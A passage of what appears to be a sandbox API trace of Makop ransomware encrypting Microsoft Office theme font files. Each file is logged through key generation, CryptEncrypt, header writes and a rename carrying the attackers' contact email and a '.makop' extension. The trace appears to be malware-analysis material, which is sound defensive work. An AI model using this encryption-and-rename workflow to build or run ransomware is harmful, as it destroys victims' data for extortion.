lpNewFilePointer=0x0) returned 1 [0160.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.404] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.404] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.404] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe19, lpOverlapped=0x0) returned 1 [0160.404] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0160.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0160.405] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.406] SetEndOfFile (hFile=0xf0) returned 1 [0160.412] GetProcessHeap () returned 0x48a0000 [0160.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.413] GetProcessHeap () returned 0x48a0000 [0160.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.413] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.416] CloseHandle (hObject=0xf0) returned 1 [0160.416] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0160.416] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml") returned 75 [0160.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.417] GetProcessHeap () returned 0x48a0000 [0160.418] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.418] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0160.445] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.446] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.446] GetProcessHeap () returned 0x48a0000 [0160.446] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.446] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.446] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.453] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.453] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.454] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.454] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe2a, lpOverlapped=0x0) returned 1 [0160.454] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30, dwBufLen=0xe30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30) returned 1 [0160.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe30, lpOverlapped=0x0) returned 1 [0160.454] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.455] SetEndOfFile (hFile=0xf0) returned 1 [0160.478] GetProcessHeap () returned 0x48a0000 [0160.478] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.478] GetProcessHeap () returned 0x48a0000 [0160.478] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.478] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0160.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.480] CloseHandle (hObject=0xf0) returned 1 [0160.480] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0160.480] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml") returned 73 [0160.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.482] GetProcessHeap () returned 0x48a0000 [0160.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.482] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0160.500] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.500] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.500] GetProcessHeap () returned 0x48a0000 [0160.500] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.500] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.500] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.501] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.501] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.501] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.501] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.501] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeee, lpOverlapped=0x0) returned 1 [0160.501] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0, dwBufLen=0xef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0) returned 1 [0160.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xef0, lpOverlapped=0x0) returned 1 [0160.502] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.502] SetEndOfFile (hFile=0xf0) returned 1 [0160.512] GetProcessHeap () returned 0x48a0000 [0160.513] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.513] GetProcessHeap () returned 0x48a0000 [0160.513] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.513] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0160.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.515] CloseHandle (hObject=0xf0) returned 1 [0160.515] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0160.515] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml") returned 79 [0160.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.517] GetProcessHeap () returned 0x48a0000 [0160.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.517] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0160.589] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.589] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.589] GetProcessHeap () returned 0x48a0000 [0160.589] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.589] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.589] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.589] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.589] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.590] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.590] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.591] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.591] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe1f, lpOverlapped=0x0) returned 1 [0160.591] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0160.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0160.592] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.592] SetEndOfFile (hFile=0xf0) returned 1 [0160.718] GetProcessHeap () returned 0x48a0000 [0160.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.718] GetProcessHeap () returned 0x48a0000 [0160.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.718] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0160.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.721] CloseHandle (hObject=0xf0) returned 1 [0160.721] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0160.721] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml") returned 75 [0160.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.722] GetProcessHeap () returned 0x48a0000 [0160.722] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.722] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0160.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.804] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.804] GetProcessHeap () returned 0x48a0000 [0160.804] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.804] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.804] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, 